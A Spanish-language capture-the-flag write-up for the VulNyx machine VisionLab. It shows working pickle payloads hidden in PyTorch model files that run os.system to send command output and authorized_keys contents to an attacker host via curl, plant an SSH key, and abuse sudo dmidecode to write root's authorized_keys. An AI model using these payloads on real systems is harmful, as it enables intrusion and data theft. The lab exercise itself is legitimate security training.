Skip to content

WriteUp de VisionLab - VulNyx

Published:

VisionLab

A continuación se describe el proceso para vulnerar la máquina VisionLab de la plataforma VulNyx. Para resolverla solo es necesario aplicar una técnica de intrusión y otra de escalada de privilegios. Sin embargo, ambas son algo laboriosas, por lo que la plataforma clasifica la máquina como de dificultad media. En este artículo aprenderemos a crear un modelo malicioso de PyTorch para conseguir una ejecución remota de código (RCE) y a aprovechar una configuración insegura de sudo para ejecutar dmidecode y obtener acceso como root.

Tabla de contenido

Abrir tabla de contenido

Enumeración

VBox Screen

Observamos que a la máquina se le ha asignado la IP 192.168.1.173.

El primer paso en cualquier CTF es reconocer la superficie de ataque. Para ello, realizamos un escaneo de puertos contra la IP objetivo con Nmap.

nmap -p- -Pn 192.168.1.173

Explicación del comando:

Resultado: encontramos dos puertos abiertos: el 22 (SSH), utilizado para el acceso remoto, y el 8000 (HTTP), en el que se aloja un servicio web.

A continuación, realizamos un escaneo más preciso de esos puertos para identificar las versiones de los servicios y ejecutar los scripts predeterminados de Nmap:

nmap -p22,8000 -sVC -Pn -n 192.168.1.173

Explicación del comando:

El escaneo devuelve la siguiente información sobre los servicios:

22/tcp   open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
8000/tcp open  http-alt uvicorn

Podríamos continuar realizando fuzzing sobre el servicio web, pero en este caso resulta más útil visitar la aplicación y enumerarla manualmente.

Enumeración manual

VisionLab

En la web encontramos una aplicación que utiliza inteligencia artificial para detectar objetos en imágenes. Podemos adjuntar una imagen y, de manera opcional, un modelo personalizado que se utilizará durante el análisis.

La aplicación exige que el modelo tenga la extensión .pt, correspondiente a los modelos de PyTorch, una conocida biblioteca de Python para el desarrollo de soluciones de inteligencia artificial.

Si seleccionamos una de las imágenes de prueba —o subimos una desde nuestro equipo— y pulsamos el botón «Analyze image», el modelo de IA detectará los objetos presentes y los delimitará mediante cuadros.

Intrusión

La aplicación permite subir un modelo propio de PyTorch. Si la carga mediante la función torch.load no se realiza de forma segura, podemos intentar conseguir una ejecución remota de código.

Para comprobar si la aplicación es vulnerable, podemos enviar un modelo que contenga un payload malicioso.

Más información sobre este tipo de vulnerabilidad: https://hacktricks.wiki/en/AI/AI-Models-RCE.html

Creamos el siguiente payload en nuestra máquina atacante:

# payload1.py
import torch
import os

class MaliciousPayload:
    def __reduce__(self):
        # This code will be executed when unpickled (e.g., on model.load_state_dict)
        return (os.system, ("curl [ip atacante]:8000?$(id|base64)",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "payload1.pth")

Al ejecutarlo, se genera el archivo payload1.pth:

python3 payload1.py

Después, iniciamos un servidor web en la máquina atacante para recibir la petición generada por el payload:

python3 -m http.server

Enviamos el archivo payload1.pth a la aplicación. En el registro del servidor web recibimos el resultado del comando id, que confirma que el proceso se ejecuta con el usuario vision.

Ahora podemos aprovechar el servicio SSH para añadir nuestra clave pública a la cuenta del usuario vision.

Si todavía no disponemos de un par de claves SSH en la máquina atacante, primero debemos generar una clave privada y otra pública.

Más información: How to Use ssh-keygen to Generate a New SSH Key?.

# payload2.py
import torch
import os

class MaliciousPayload:
    def __reduce__(self):
        # This code will be executed when unpickled (e.g., on model.load_state_dict)
        return (os.system, ("mkdir -p /home/vision/.ssh && echo 'ssh-ed25519 AA.....HF email@domain.com' > /home/vision/.ssh/authorized_keys",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "payload2.pth")

Al ejecutarlo, se genera el archivo payload2.pth:

python3 payload2.py

Enviamos el archivo payload2.pth a la aplicación.

Podemos comprobar que la clave pública se ha añadido correctamente al archivo authorized_keys del usuario mediante otro payload:

# payload3.py
import torch
import os

class MaliciousPayload:
    def __reduce__(self):
        # This code will be executed when unpickled (e.g., on model.load_state_dict)
        return (os.system, ("curl [ip atacante]:8000?$(cat /home/vision/.ssh/authorized_keys|base64)",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "payload3.pth")

Al ejecutarlo, se genera el archivo payload3.pth:

python3 payload3.py

Enviamos el archivo payload3.pth a la aplicación y podemos observar cómo el contenido del fichero authorized_keys, codificado en Base64, llega a nuestro servicio web.

Una vez añadida la clave, podemos conectarnos mediante SSH como el usuario vision, utilizando nuestra clave privada y sin necesidad de conocer su contraseña:

ssh -i ~/.ssh/id_ed25519 vision@192.168.1.173

De este modo, obtenemos una shell en el servidor.

Escalada

Para buscar posibles vías de escalada de privilegios, comprobamos qué comandos puede ejecutar el usuario vision mediante sudo:

vision@VisionLab:~$ sudo -l
Matching Defaults entries for vision on VisionLab:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User vision may run the following commands on VisionLab:
    (ALL) NOPASSWD: /usr/sbin/dmidecode

vision@VisionLab:~$ /usr/sbin/dmidecode -V
3.4

El resultado indica que podemos ejecutar dmidecode como root sin proporcionar una contraseña. Además, la versión instalada es vulnerable, por lo que podemos aprovecharla para una escritura privilegiada de ficheros.

Más información:

Observamos que el usuario root tiene permitida la conexión por SSH, pero sin contraseña.

vision@VisionLab:~$ cat /etc/ssh/sshd_config | grep PermitRootLogin
PermitRootLogin prohibit-password

Esto nos permite acceder como root si conseguimos crear un fichero authorized_keys en la carpeta de configuración de SSH del usuario root, al igual que hicimos con el usuario vision.

Primero clonamos el repositorio https://github.com/adamreiser/dmiwrite y compilamos la herramienta en nuestra máquina atacante.

git clone https://github.com/adamreiser/dmiwrite
cd dmiwrite
make dmiwrite

Preparamos un fichero authorized_keys con nuestra clave pública (podemos utilizar la creada anteriormente), pero, en este caso, es importante dejar unas líneas delante y detrás de la clave. Esto se debe a que, si dejamos el fichero en una sola línea, dmidecode escribe caracteres invisibles delante, lo que provoca que la clave quede corrupta. En cambio, al estar en otra línea, esos caracteres no afectarán a nuestra clave porque esta estará en la línea siguiente.

$ cat authorized_keys
# Dejar espació aquí
ssh-ed25519 AAAAC3Nz...g+g5QnHF email@domain.com
# Dejar espació aquí

Utilizamos el fichero authorized_keys para crear el fichero .dmi con dmiwrite y lo compartimos mediante un servicio web para enviarlo a la máquina víctima.

./dmiwrite authorized_keys authorized_keys.dmi
python3 -m http.server

Ahora, desde la shell del usuario vision en la máquina víctima, descargamos el fichero authorized_keys.dmi en la carpeta /tmp mediante el servicio web creado con Python.

curl --output /tmp/authorized_keys.dmi http://[ip atacante]:8000/authorized_keys.dmi

Mediante sudo y dmidecode, intentamos crear el fichero authorized_keys del usuario root.

sudo /usr/sbin/dmidecode -d /tmp/authorized_keys.dmi --no-sysfs --dump-bin /root/.ssh/authorized_keys

Ahora, al igual que hicimos con el usuario vision, intentamos acceder por SSH desde nuestra máquina atacante utilizando la clave privada generada, pero esta vez con el usuario root.

ssh -i ~/.ssh/id_ed25519 root@192.168.1.173

Conseguimos acceder a la máquina víctima con el usuario de máximos privilegios sin conocer ninguna contraseña.

Ahora podemos leer las dos flags de la máquina:

root@VisionLab:~# cat /home/vision/user-48Jj1Lw.txt
f************************0
root@VisionLab:~# cat /root/root.txt
1************************2
root@VisionLab:~#

Y hasta aquí llega nuestro recorrido por VisionLab. Ojalá te lleves alguna técnica nueva en la mochila; si no, que al menos el camino hasta root haya merecido la pena.